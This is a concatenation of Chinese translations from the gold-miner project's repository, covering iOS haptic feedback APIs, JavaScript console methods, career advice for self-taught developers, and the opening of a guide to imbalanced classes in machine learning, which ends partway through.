[Medium](https://medium.com/@blacksonic86),[Twitter](https://twitter.com/blacksonic86) 阅读更多有关 Javascript 的内容!* --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-generate-haptic-feedback-with-uifeedbackgenerator.md ================================================ > * 原文地址:[How to generate haptic feedback with UIFeedbackGenerator](https://www.hackingwithswift.com/example-code/uikit/how-to-generate-haptic-feedback-with-uifeedbackgenerator) * 原文作者:[twostraws](https://twitter.com/twostraws) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[owenlyn](https://github.com/owenlyn) * 校对者:[luoyaqifei](http://www.zengmingxia.com/) [Tuccuay](https://github.com/Tuccuay) # 如何使用 UIFeedbackGenerator 让应用支持 iOS 10 的触觉反馈 ## 始于 iOS 10.0 iOS 10 引入了一种新的、产生触觉反馈的方式,它通过使用所有应用共享的预定义震动模式,来帮助用户认识到不同的震动反馈有不同的含义。这个功能的核心由 `UIFeedbackGenerator` 提供,不过这只是一个抽象类 (abstract class) —— 你真正需要关注的三个类是 `UINotificationFeedbackGenerator`,`UIImpactFeedbackGenerator`,和 `UISelectionFeedbackGenerator`。 其中的第一个,`UINotificationFeedbackGenerator` 让你可以根据三种系统事件:`error`,`success`,和 `warning` 来产生反馈。第二个,`UIImpactFeedbackGenerator`,它可以产生三种不同程度的、 Apple 所说的“物理与视觉相得益彰的体验”。最后一个, `UISelectionFeedbackGenerator` 会在用户改变他们在屏幕上的选择(例如滑动一个转盘选择器)的时候被触发,产生一个相应的反馈。 **这时候,只有 iPhone 7 和 iPhone 7 Plus 内置的新 Taptic 引擎支持这些应用程序接口(API)。其他设备只能静静地忽略这些触觉反馈的请求。** 想要试试这些新的 API,你需要在 Xcode 里新建一个 Single View Application 的模板,然后用以下测试脚手架替换内置的 `ViewController` 类:: import UIKit class ViewController: UIViewController { var i = 0 override func viewDidLoad() { super.viewDidLoad() let btn = UIButton() btn.translatesAutoresizingMaskIntoConstraints = false btn.widthAnchor.constraint(equalToConstant: 128).isActive = true btn.heightAnchor.constraint(equalToConstant: 128).isActive = true btn.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true btn.centerYAnchor.constraint(equalTo: view.centerYAnchor).isActive = true btn.setTitle("Tap here!", for: .normal) btn.setTitleColor(UIColor.red, for: .normal) btn.addTarget(self, action: #selector(tapped), for: .touchUpInside) view.addSubview(btn) } func tapped() { i += 1 print("Running \(i)") switch i { case 1: let generator = UINotificationFeedbackGenerator() generator.notificationOccurred(.error) case 2: let generator = UINotificationFeedbackGenerator() generator.notificationOccurred(.success) case 3: let generator = UINotificationFeedbackGenerator() generator.notificationOccurred(.warning) case 4: let generator = UIImpactFeedbackGenerator(style: .light) generator.impactOccurred() case 5: let generator = UIImpactFeedbackGenerator(style: .medium) generator.impactOccurred() case 6: let generator = UIImpactFeedbackGenerator(style: .heavy) generator.impactOccurred() default: let generator = UISelectionFeedbackGenerator() generator.selectionChanged() i = 0 } } } 当你在手机上运行它的时候,按下 "Tap here!" 按钮可以轮流按顺序体验各种震动选项。 一个小贴士:因为系统准备触觉反馈需要一段时间,Apple 建议,触发触觉效果之前,在你的生成器 (generator) 内调用 `prepare()` 方法。如果你不这么做的话,在视觉效果和对应的震动之间确实会有一个小小的延迟,这给用户造成的迷惑可能会大过它的用处。 尽管从技术上来说,你可以给任何东西都加一个“操作成功”的反馈,但如果这么做而又做得不恰当的话,反而会给用户带来困惑,尤其是那些在人机交互上严重依赖触觉反馈的用户。Apple 特别要求开发者们要“恰如其分”的使用它们,尤其不要在给定的情境下使用错误的触觉反馈,而且记住,并不是所有的设备都支持这个新的触觉反馈 —— 毕竟你还要考虑那些旧 iPhone 的用户呐~ 这个方案对你有帮助吗?请把它分享给更多人吧! ================================================ FILE: TODO/how-to-get-the-most-out-of-the-javascript-console.md ================================================ > * 原文地址:[How to get the most out of the JavaScript console](https://medium.freecodecamp.com/how-to-get-the-most-out-of-the-javascript-console-b57ca9db3e6d) > * 原文作者:[Darryl Pargeter](https://medium.freecodecamp.com/@darrylpargeter) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[sunui](https://github.com/sunui) > * 校对者:[reid3290](https://github.com/reid3290)、[Aladdin-ADD](https://github.com/Aladdin-ADD) --- # 如何充分利用 JavaScript 控制台 ![](https://cdn-images-1.medium.com/max/2000/1*mM2AMk0TRENA2zF2RMEebA.jpeg) JavaScript 中最基本的调试工具之一就是 `console.log()`。`console` 还附带了一些其他好用的方法,可以添加到开发人员的调试工具包中。 你可以使用 `console` 执行以下任务: - 输出一个计时器来协助进行简单的基准测试 - 输出一个表格来以易读的格式显示一个数组或对象 - 使用 CSS 将颜色和其他样式选项应用于输出 ### Console 对象 `console` 对象允许您访问浏览器的控制台。它允许你输出有助于调试代码的字符串、数组和对象。`console` 是 `window` 对象的属性,由[浏览器对象模型(BOM)](https://www.w3schools.com/js/js_window.asp)提供。 我们可以通过这两种方法之一访问 `console`: 1. `window.console.log('This works')` 2. `console.log('So does this')` 第二个选项本质上是对前者的引用,所以我们使用后者以精简代码。 关于 BOM 的快速提示:它没有设定标准,所以每家浏览器都以稍微不同的方式实现。我在 Chrome 和 Firefox 测试了所有示例,但你的输出可能有所不同,这取决于你使用的浏览器。 ### 输出文本 ![](https://cdn-images-1.medium.com/max/800/1*eEnUT7quS8oCeOsoGn1Kxw.png) 将文本记录到控制台 `console` 对象最常见的元素是 `console.log`,对于大多数情况,使用它就可以完成任务。 输出信息到控制台的四种方式: 1. `log` 2. `info` 3. `warn` 4. `error` 他们四个工作方式相同。你唯一要做的是给选择的方法传递一个或更多的参数。控制台会显示不同的图标来指示其记录级别。下面的例子中你可以看到 info 级别的记录和 warning/error 级别的不同之处。 ![](https://cdn-images-1.medium.com/max/800/1*AKbeddGNDqLYaJOMQlrrMw.png) 简单易读的输出 ![](https://cdn-images-1.medium.com/max/800/1*3yKUiYLyju8f9gE71w1Sxw.png) 输出东西太多将变得难以阅读 你可能注意到了 error 日志消息 —— 它比其他消息更显眼。它显示着红色的背景和[堆栈跟踪](https://en.wikipedia.org/wiki/Stack_trace),而 `info` 和 `warn` 就不会。但是在 Chrome 中 `warn` 确实有一个黄色的背景。 视觉上的区分有助于你在控制台快速浏览辨别出错误或警告信息。你应该确保在准备生产的应用中移除它们,除非你打算让它们来警示其他操作你的代码的开发者。 ### 字符串替换 这个技术可以使用字符串中的占位符来替换你向方法中传入的其他参数。 **输入**: `console.log('string %s', 'substitutions')` **输出**: `string substitutions` `%s` 是逗号后面第二个参数 `'substitutions'` 的占位符。任何的字符串、整数或数组都将被转换成字符串并替换 `%s`。如果你传入一个对象,它将显示为 `[object Object]`。 如果你想传入对象,你需要使用 `%o` 或者 `%O`,而不是 `%s`。 `console.log('this is an object %o', { obj: { obj2: 'hello' }})` ![](https://cdn-images-1.medium.com/max/800/1*WhqTGnch8S2kAIQYxXOLhw.png) #### 数字 字符串替换可以与整数和浮点数一起使用: - 整数使用 `%i` 或 `%d`, - 浮点数使用 `%f`。 **输入**: `console.log('int: %d, floating-point: %f', 1, 1.5)` **输出**:`int: 1, floating-point: 1.500000` 可以使用 `%.1f` 来格式化浮点数,使小数点后仅显示一位小数。你可以用 `%.nf` 来显示小数点后 n 位小数。 如果我们使用上述例子显示小数点后一位小数来格式化浮点数值,它看起来这样: **输入**: `console.log('int: %d, floating-point: %.1f', 1, 1.5)` **输出**: `int: 1, floating-point: 1.5` #### 格式化说明符 1. `%s` | 使用字符串替换元素 2. `%(d|i)`| 使用整数替换元素 3. `%f `| 使用浮点数替换元素 4. `%(o|O)` | 元素显示为一个对象 5. `%c` | 应用提供的 CSS #### 字符串模板 随着 ES6 的出现,模板字符串是替换或连接的替代品。他们使用反引号(\`\`)来代替引号,变量包裹在 `${}` 中: const a = 'substitutions'; console.log(`bear: ${a}`); // bear: substitutions 对象在模板字符串中显示为 `[object Object]`,所以你将需要使用 `%o` 或 `%O` 替换以看到详情,或单独记录。 比起使用字符串连接:`console.log('hello' + str + '!');`,使用替换或模板可以创建更易读的代码。 #### 美妙的彩色插曲! 现在,是时候来点更有趣而多彩的东西了! 是时候用字符串替换让我们的 `console` 弹出丰富多彩的颜色了。 我将使用一个模仿 Ajax 的例子,给我们显示一个请求成功(用绿色)和失败(用红色)。这是输出和代码: ![](https://cdn-images-1.medium.com/max/800/1*BRAhnRn9GpZgrUf_SQfi3A.png) 成功的小熊和失败的蝙蝠 const success = [ 'background: green', 'color: white', 'display: block', 'text-align: center' ].join(';'); const failure = [ 'background: red', 'color: white', 'display: block', 'text-align: center' ].join(';'); console.info('%c /dancing/bears was Successful!', success); console.log({data: { name: 'Bob', age: 'unknown' }}); // "mocked" data response console.error('%c /dancing/bats failed!', failure); console.log('/dancing/bats Does not exist'); 在字符串替换中使用 `%c` 占位符来应用你的样式规则。 console.error('%c /dancing/bats failed!', failure); 然后把你的 CSS 元素作为参数,你就能看到应用 CSS 的日志了。 你也可以给你的字符串添加多个 `%c`。 console.log('%cred %cblue %cwhite','color:red;','color:blue;', 'color: white;') 这将按照他们的代表的颜色输出字符 “red”、“blue” 和 “white”。 控制台仅仅支持少数 CSS 属性,建议你试验一下哪些支持哪些不支持。重申一下,你的输出结果可能因你的浏览器而异。 ### 其他可用的方法 还有几个其他可用的 `console` 方法。注意下面有几项还不是 API 标准,所以可能浏览器间互不兼容。这个例子使用的是 Firefox 51.0.1。 #### Assert() `Assert` 携带两个参数 —— 如果第一个参数计算为 false,那么它将显示第二个参数。 let isTrue = false; console.assert(isTrue, 'This will display'); isTrue = true; console.assert(isTrue, 'This will not'); 如果断言为 false,控制台将输出内容。它显示为一个上文提到的 error 级别的日志,给你显示一个红色的错误消息和堆栈跟踪。 #### Dir() `dir` 方法显示一个传入对象的可交互属性列表。 console.dir(document.body); ![](https://cdn-images-1.medium.com/max/800/1*4Zj5EuPTHcQH5-K0NWHb7g.png) Chrome 会显示不同的层级 最终,`dir` 仅仅能节省一两次点击,如果你需要检查一个 API 响应返回的对象,你可以用它结构化地显示出来以节约一些时间。 #### Table() `table` 方法用一个表格显示数组或对象 console.table(['Javascript', 'PHP', 'Perl', 'C++']); ![](https://cdn-images-1.medium.com/max/800/1*nza7ZWxYG-_X47VJ54FtZg.png) 输出数组 数组的索引或对象的属性名位于左侧的索引栏,值显示在右侧列栏。 const superhero = { firstname: 'Peter', lastname: 'Parker', } console.table(superhero); ![](https://cdn-images-1.medium.com/max/800/1*BXhY3PzulYFzzcW-Qwga8Q.png) 输出对象 **Chrome 用户需要注意:** 这是我的同事提醒我的,上述 `table` 方法的例子在 Chrome 中貌似不能工作。你可以通过将项目放入数组或对象数组中来解决此问题。 console.table([['Javascript', 'PHP', 'Perl', 'C++']]); const superhero = { firstname: 'Peter', lastname: 'Parker', } console.table([superhero]); #### Group() `console.group()` 由至少三个 `console` 调用组成,它可能是使用时需要打最多字的方法。但它也是最有用的方法之一(特别对使用 [Redux Logger](https://github.com/evgenyrodionov/redux-logger) 的开发者)。 稍基础的调用看起来是这样的: console.group(); console.log('I will output'); console.group(); console.log('more indents') console.groupEnd(); console.log('ohh look a bear'); console.groupEnd(); 这将输出多个层级,显示效果因你的显示器而异。 Firefox 显示成缩进列表: ![](https://cdn-images-1.medium.com/max/800/1*xFU0AtDqgwLJVUwE4Yo9_w.png) Chrome 显示成对象的风格: ![](https://cdn-images-1.medium.com/max/800/1*9hJkBrf4uEXaC1PYe8bomQ.png) 每次调用 `console.group()` 都将开启一个新的组,如果在一个组内会创建一个新的层级。每次调用 `console.groupEnd()` 都会结束当前组或层级并向上移动一个层级。 我发现 Chrome 的输出样式更易读,因为它看起来像一个可折叠的对象。 你可以给 `group` 传入一个 header 参数,它将被显示并替代 `console.group`: console.group('Header'); 如果你调用 `console.groupCollapsed()`,你可以从一开始就将这个组显示为折叠。据我所知,这个方法可能只有 Chrome 支持。 #### Time() `time` 方法和上文的 `group` 方法类似,由两部分组成。 一个用于启动计时器的方法和一个停止它的方法。 一旦计时器完成,它将以毫秒为单位输出总运行时间。 启动计时器使用 `console.time('id for timer')`,结束计时器使用 `console.timeEnd('id for timer')`。您可以同时运行多达 10,000 个定时器。 输出结果可能有点像这样: `timer: 0.57ms`。 当你需要做一个快速的基准测试时,它非常有用。 ### 结论 我们已经更深入地了解了 console 对象以及其中附带的其他一些方法。当我们需要调试代码时,这些方法是可用的好工具。 仍然有几种方法我没有谈论,因为他们的 API 依然在变动。具体可以阅读 [MDN Web API](https://developer.mozilla.org/en/docs/Web/API/console) 和 [WHATWG 规范](https://console.spec.whatwg.org/)。 ![](https://cdn-images-1.medium.com/max/800/1*0SNCJfem2WVKSJIDzConxg.png) [https://developer.mozilla.org/en/docs/Web/API/console](https://developer.mozilla.org/en/docs/Web/API/console) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-go-from-hobbyist-to-professional-developer.md ================================================ > * 原文地址:[How to Go From Hobbyist to Professional Developer](https://medium.freecodecamp.com/how-to-go-from-hobbyist-to-professional-developer-11a8b8a52b5f) > * 原文作者:[Ken Rogers](https://medium.freecodecamp.com/@kenrogers) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[zaraguo](https://github.com/zaraguo) > * 校对者:[SareaYu](https://github.com/sareayu) [DeadLion](https://github.com/deadlion) # 如何从一个业余爱好者成长成为专业开发者 # ![](https://cdn-images-1.medium.com/max/2000/1*LZZ9Sr4XL7j2-LjSJ5uq9Q.jpeg) 几年前,我正处于园林设计工作和餐馆工作两头跑的状态中。那时我刚离开大学校园,不知道未来我将靠什么为生。 我有许多想法,却毫无方向。在那段时间里,我开始自学编程。起初这只是一个爱好。我觉得仅靠自己的大脑和代码去创造东西是一件很酷的事。 逐渐地我开始思考生活前进的方向,并视以编程为生为一个有可能的生活方式。 一开始,我也只是随便想想而已。我负担不起现代教育的费用。我早就因为钱的原因而辍学了,如果要修计算机科学专业,我必须重新开始。 我已经离开大学校园整整六年之久。如果我选择重返校园学习计算机科学还将给我带来超过五万美元的负债。所以这条路行不通。 然后我想到我可以通过自学 Web 开发来获得一份实习工作。 我最初的计划是向镇上的几家公司推荐我自己,问他们是否愿意和我见面。我想和他们谈论我一边读书一边帮他们打工的可能性。通过这种方式我可以支付我的学费,同时获得一些工作经验。 因此我开始认真对待 Web 开发。 不是东学一点西学一点而是开始构建一个真实的作品集并记录自己的技能。 我开始活跃在类似 Stack Overflow 的网站。 我写了一些实用的程序并将其放在了 GitHub 上。它们没什么特别的,但是它们展现了我的编程能力。 有家公司拒绝提供我临时工的岗位。也不用我获得学位。他们直接提供了我一个试用期六个月的全职初级工程师的岗位。 我开心极了。事实证明,认真并带有目的地开始学习编程,让我收获了相当多的知识。 我有能力回答他们的提问,向他们展示我那微不足道的应用,并解释其工作原理。 我在那家公司工作了两年半,之后在我生活的城市获得了一个 Web 开发的职位。 ## 把自己视为一个终生学习者 ## 我将我在上一家公司工作的经历视为一个学习过程,尽我所能地去学习,这在我成长为一个专业工程师的道路上起到了相当大的作用。 在公司里工作所获得的实践真知是无价的。知道如何与客户、同事相处以及遵守公司制度是十分重要的。而这些你只能从实践中获得。 虽然我比刚开始的时候知道的更多,我一直视自己为一个学徒。渴望不断学习是成为一个伟大的开发人员的重要条件。一旦我们觉得我们已经掌握了某个技能,那么我们就会停止成长。 海明威曾说过: > 我们在工艺上都是学徒,而且从没有人成为大师。 他这句话说的是写作,但是在程序开发方面也同样适用。 在工作的同时不断自学令我收获颇丰([我甚至写了本书](http://meteorandreact.com/))。我了解了关于网站开发的一些实用技术,同时从一个业余爱好者成长为一个专业开发人员。你们也可以做到,无论你们有多少时间和能力。 再和你说件事儿,我曾经同时做两份工作,其中一个需要我早上四点就爬起来开着叉车到处跑。 作为一个生活忙碌的成年人,想要学习编程需要有决心、动力以及倔强的坚持。 ### 从入门到精通 下面是一个你可以遵循的流程。每个人的学习过程的确会有所不同,但是有一些好的建议有助于你走上正轨。 #### 1. 相信自己可以做到 #### 任何人都可以通过自学成为一个开发者。有一种观点是自学只有特定类型的人能做到,这在某种程度上是正确的。你需要自我驱动,而不是被能立即得到回报的动机驱动。但是任何人都可以成为这种类型的人。 现代社会存有“天赋不是人人都有”的这种观点。这种观点不利于我们的成长,也是许多人在生活中感到不满的原因之一。 如果你执着于自己是否有天赋这一点,那么你将很容易沮丧。 我要立马把这种错误观念抛诸脑后。任何人可以自我驱动并且自学编程。或者开始一个成功的业务,或者实现一个长期目标。 这无关你是否抓住了一个大机会,或是天赋异禀。持之以恒才是关键。 如果你能够埋头苦干,即使困难的时候也不放弃,坚持不懈,那么没有什么事情是你办不到的。 最后一点相当重要,但是我想先给你们提个醒儿再继续。 人们总是更倾向于关注自己和他人的成功。这就是著名的[幸存者偏差](https://youarenotsosmart.com/2013/05/23/survivorship-bias/)。 运气的确客观存在。有时候有了它事情会变得相当的顺利。例如,我之前联系过一个 Web 开发的机构,幸运的是他们当时正好在招人并且我恰巧符合他们的要求。 但什么是运气呢? 当然,我获得那份工作有运气的成分在,但是如果我没有下定决心去自学开发,那么有运气也是没用的。之后我果断地决定去申请这份工作。 运气的确有一定的作用,但是凡事全靠运气却是不对的。要想自己更加好运,你就应该更加投入于你所做的事情。 但是好运并不会眷顾胸无大志之人。 #### 2. 持之以恒在促成你的作品方面有着难以置信的魔力 #### 我最大的缺点之一就是容易感到厌倦和分心。我会不断想要跳过目前的工作进入下一个项目。这种趋势会断送你的成功。 根据心情选择项目固然很自由,但是…… ![](https://cdn-images-1.medium.com/max/800/1*ZXYdFihJqlj0-mIlO1-t6g.jpeg) 这是一个陷阱!你可以忽视本文的其他观点,但请记住一点: **成为一个专业的程序员最重要的一点就是坚持。持之以恒决不放弃直到作品完成。** 这句话到处适用。 人们非常在意选择什么框架去使用。但是关键的是选择一个并坚持使用。你可以之后再转去学新的语言和框架。 重要的是在开发时学会解决问题的技能,并像开发人员一样思考问题。 我自学的时候使用的是 Laravel,但是雇佣我的公司使用 CakePHP 来进行开发。没事,他们知道我有切换框架的能力。 选择一个方向并深挖下去,无论你选择的是什么。同时你需要清除其它的干扰项。 这种精益求精的过程中有着一种无与伦比的美妙感受。 它的确不易。但是一旦你学会不分心,你将发觉到工作中持续增长的乐趣。 Mike Rowe 常说:人们不应该在发现自己的激情后才开始行动。 人们郁郁寡欢。执着于寻求一个完美的事业,一个充满激情的事业。 但是激情来自于对作品持续不断完善的渴望。一旦你养成这个观念,那么你的开发能力将有一个质的飞跃。 #### 3. 立即开始搭建你的项目 #### 有抱负的程序员有时候会陷入只看不行动的境地。 教程和书籍对于基础学习的确很有帮助。但问题是它们会给程序员灌输虚假的自信。 如果你曾经看完一本编程书然后动手编程时却发现自己毫无思路,那么你就知道我在说什么了。 解决方案很简单,但是并不容易。 开始编程。 做点什么东西。开发一个应用解决你自己生活中的问题,或者针对于你身边人的某个问题。 做些好玩的东西。 做点东西,并且对外展示。把它开源并放在 GitHub 上。你做这些不是为了别人而是为了自己,所以你不需要担心别人对此的看法。 你的代码一开始会很丑陋。即使我现在看自己一个月前写的代码我都觉得惨不忍睹。但是如果不做点东西你是学不会开发的。书本很棒,我沉迷于看很多很多的书。但是在那之后你必须不断去应用你看到的知识。 你会遇到很多问题,举步维艰。这很好,这时候我们学到的东西最多。 开始做点小东西来解决问题,这个我会在下面的第六点详细讨论。 #### 4. 创建一个线上身份 #### 一旦你开始做点小项目,你会需要创建一个线上的身份。拥有自己的 GitHub 账户是一个不错的开始。 你可以在这里放置你正在着手的项目,并与全世界的人分享。 如果你想要的不止如此。那么我推荐你创建一个个人网站。 这个网站有以下的几个作用: 1. 它是一个公开向潜在雇主展示你自己的地方 2. 它是一个可以展示你作品的地方 3. 它将成为你的舞台 最后一点十分重要。一旦你开始做项目,你就应该立即开始记录他们。开始用一个简单的博客去分享你正在做的事情并且传授你所知道的一切。 这是向潜在雇主展示你身份和能力的最好方法之一。它可以让大家看到你,并且过程中你也将构建出属于你自己的平台。 这可以带来工作机会和在写书或者自由职业方面获得额外收入的可能。 你的网站应该有明确的目的。 很多人制作在线简历,但是你要做的不止如此。你的目标是什么?你的网站需要围绕这个目标设计和创建。 如果你想要一个基于某个特定项目或者框架的工作,你可以将其放在你的网站上。 我建议你的网站要有以下四个主要构成部分: 1. 主页 你的主页是你网站的入口点。它应该提供一个非常简要的介绍,关于你是谁,你是做什么的。并指引大家找到他们最感兴趣的内容。 比如,你可以有两个主要的按钮。一个引导人们前往你的博客列表去学习一些关于网站开发的知识,另外一个用来引导有意聘用你的人前往你的招聘页面。 2. 博文 这里是放置你的博文以及教程的地方。尽可能多地写一些博文,并且不要害怕去分享他们。 3. 关于我 简单的关于我板块可以展现更多你是谁做什么的细节。不要把它当做你的个人史。再次声明,这一板块核心内容是你想做的事情。 不要谈论你的私人生活,而是谈论什么使你成为一个网站开发者,你做过什么,以及未来的规划。谈论一些你喜欢的项目并给出展示链接。 4. 聘请我 这是你个人网站非常重要的一个部分。这是展现给有意向聘请你的人的板块。 找好“包装”和诚实的平衡点。这个页面的内容可能和关于我页面有部分的重叠,但是这个页面将更加明确你的技能以及你可以给公司带来的好处。 这个页面还需要有你的联系方式以便他人可以联系到你。 除了维护自己的个人网站,你还可以给一些知名出版社写文章。然后在你网站的个人简历板块附上文章链接。 #### 5. 开始传授你会的一切知识 #### Nathan Barry 是一个酷爱传授知识的家伙。他讲过 CSS Tricks 的创始人 Chris Coyier 的故事。 这个网站一开始是 Chris 用来公开记录一些他在学习的东西以便他人借鉴。现在它已经是最大的 Web 开发站点之一。 这个故事告诉我们你不必在成为世界最厉害的专家之后才去写东西和传授东西。 在网络商业的世界中,有一个相对专家的概念。这个概念是说每个人相对于别人在某一个特定方面都是专家。 我对此存有疑虑,特别是被用来推销某些不应该被卖出的商品的时候。这只是一个有用的类比。 困扰我的是使用专家一词。我不认为传授你知道的东西有什么问题,你甚至可以向需要的人们贩卖这些知识。 但是自称专家好像又言重了。所以当你写东西的时候,请尽量保持内容真实性。 我更喜欢在公开场合定期学习。 有很多人是从成为一个公开的学习者开始他们的学习的。他们学习手艺同时并记录下来他们学到的东西。 这是传授你所知道的一切的一个很好的方法。随着你学到的东西越来越多,你构建出自己的内容,并在这个期间成为一个更好的书写者。久而久之,你将在你的圈子被其他人视为权威人物。 无论在找工作或是自己单干方面,这都十分的有价值。 #### 6. 为解决问题而开发 #### 做事有明确的意图是成为一个专业的程序员最重要的方面之一。 为了乐趣随意开发应用是一回事,为了解决问题去开发应用和网站又是另外一回事。 电商本质其实不是程序开发,其本质是关于解决问题。代码只是他们首选的工具而已。 任何一本市场营销的书或文案都会告诉你去推销商品的优点而不是特点。 Web 开发人员应该通过展示他们如何有效地解决了用户的问题来推销他们的应用。然后用具体的指标来支撑他们的言论。客户通常对这种方式的介绍更感兴趣,而不是听开发者谈论他们使用的尖端技术。 如果你能证明你的编程技能, 并能用代码解决问题和创造有意义的应用, 那么你将非常受雇主欢迎。 当你与潜在雇主或是客户沟通时,以及在为你的网站编写内容时,请进行优势与功能这两方面的思考。 当然,你也应该提及你的编程熟练程度,但是大部分人在这个方面花了所有时间。简要地介绍一下好让潜在雇员知道你在做什么就可以了。如果你开发了一系列很有用的程序,那么它们将会为你的编程技能说话。 #### 7. 采取学徒心态 #### 你认为你掌握技能的那一天便是你停止学习的一天。 养成终生学习的观念。总是有更多的东西去学习,有更大的空间去进步。 这在你早期的职业生涯相当重要。如果你兼职或实习或担任初级开发人员,你需要尽可能快速进入学习和成长状态。 你真的应该马上这么做,即使你还没有一个真实的“导师”。 在[工作的艺术](https://www.amazon.com/Art-Work-Proven-Discovering-Meant/dp/0718022076)这本书中,Jeff Goins 谈论了二十一世纪的师徒关系。 回到中世纪,这种关系非常正式。大师会带一个徒弟多年,直到徒弟慢慢地掌握手艺达到大师的头衔,那时他们就可以收自己的徒弟了。 虽然这种关系已经发生了改变,但是将自己视为一个学徒仍然十分重要。有所不同是的是现在你需要自己关注潜在的导师和学习机遇,他们遍布你的征途。 在 Web 开发的世界里,我们经常上网,所以学习形式多种多样。 书本,教程,课程,专题讨论会以及其他形式的学习都是十分有价值的。但是我觉得最有价值的学习形式是从你想成为的人身上学习。 这就是为什么乐意并热切地去学习是这么的重要。得到了你的第一份开发工作不是征途的结束,而只是开始。 当采取了学徒心态你将真正开始学习并且你的知识将呈几何级数地增长。 #### 8. 学会合作 #### 将编程作为兴趣和以编程为生之间的最大差别就是你需要学会与他人合作。 你需要与同辈、老板、同事、客户、合作公司沟通和合作,并且在你的职业生涯中你会遇到形形色色的人。 学会如何与他人有效地合作是十分重要的。 在 Web 开发领域,沟通是关键。当一个公司向你们表达自己所需时,如果你对他们所表述的东西不清楚,那么会给未来的工作带来很多头疼的问题。 同样的,如果你不能与同你一起工作的人们良好地沟通,你的工作也将遭遇很多问题并无法完成。 如果你还在学习的话,我这里倒是有几个不错的建议可以给你。 当你开始传授你所知道的知识时可能就会遇到这些问题。人们将与你进行交互,有时候这些交互是负面的,你需要学会如何去处理这种情况。 我还十分推荐大家去给开源项目做贡献。你将收获在一个项目中与带有不同观点的人们合作的体验。 参与开源项目的确是一件令人胆怯的事情,但是它会给你的开发生涯创造奇迹。 [看看这个网站然后开始](http://www.firsttimersonly.com/) ### 动身去以此谋生 ### 成为一个 Web 开发者是困难的。意味着你的一生需要永不止步地学习和不断接受新的事物。它是一个不仅需要精通技术还需要了解业务和沟通的职业。 成为一个 Web 开发者还是一条非常有利的道路。你将制造产品来解决人们的问题,使他们的生活更加便利,同时你将拥有非常棒的生计。 帮助你去学习编程的资源有很多,[他们大多数还是完全免费的](http://freecodecamp.com/),但是帮助人们转变成为专业的开发人员的资料却很少。 我希望这个简短的指导可以为你指明一条好的道路以帮助你成为一个专业的开发者。 记住,如果你不采取行动什么都不会发生。搭建一个简单的个人站点,给一些潜在的雇主发邮件,在 Medium 上发表一些文章。反正就是要开始有所行动。 你越展示自己,做得越多,那么你将越快从业余爱好者成长成为一位专业人士。 我正在考虑开设一个在线研讨班教开发者如何从业余爱好者成长成为专业人士。如果你对此有兴趣,可以在下方留下你的邮箱地址让我知道并且我将为你们提供第一手资料。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-handle-imbalanced-classes-in-machine-learning.md ================================================ > * 原文地址:[How to Handle Imbalanced Classes in Machine Learning](https://elitedatascience.com/imbalanced-classes) > * 原文作者:[elitedatascience](https://elitedatascience.com/imbalanced-classes) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-handle-imbalanced-classes-in-machine-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-handle-imbalanced-classes-in-machine-learning.md) > * 译者:[RichardLeeH](https://github.com/RichardLeeH) > * 校对者:[lsvih](https://github.com/lsvih), [lileizhenshuai](https://github.com/lileizhenshuai) # 如何处理机器学习中的不平衡类别 不平衡类别使得“准确率”失去意义。这是机器学习 (特别是在分类)中一个令人惊讶的常见问题,出现于每个类别的观测样本不成比例的数据集中。 普通的准确率不再能够可靠地度量性能,这使得模型训练变得更加困难。 不平衡类别出现在多个领域,包括: - 欺诈检测 - 垃圾邮件过滤 - 疾病筛查 - SaaS 客户流失 - 广告点击率 在本指南中,我们将探讨 5 种处理不平衡类别的有效方法。 ![How to Handle Imbalanced Classes in Machine Learning](https://elitedatascience.com/wp-content/uploads/2017/06/imbalanced-classes-feature-with-text.jpg) #### 直观的例子:疾病筛查案例 假如你的客户是一家先进的研究医院,他们要求你基于采集于病人的生物输入来训练一个用于检测一种疾病的模型。 但这里有陷阱... 疾病非常罕见;筛查的病人中只有 8% 的患病率。 现在,在你开始之前,你觉得问题可能会怎样发展呢?想象一下,如果你根本没有去训练一个模型。相反,如果你只写一行代码,总是预测“没有疾病”,那会如何呢? 一个拙劣但准确的解决方案 ``` def disease_screen(patient_data): # 忽略 patient_data return 'No Disease.' ``` 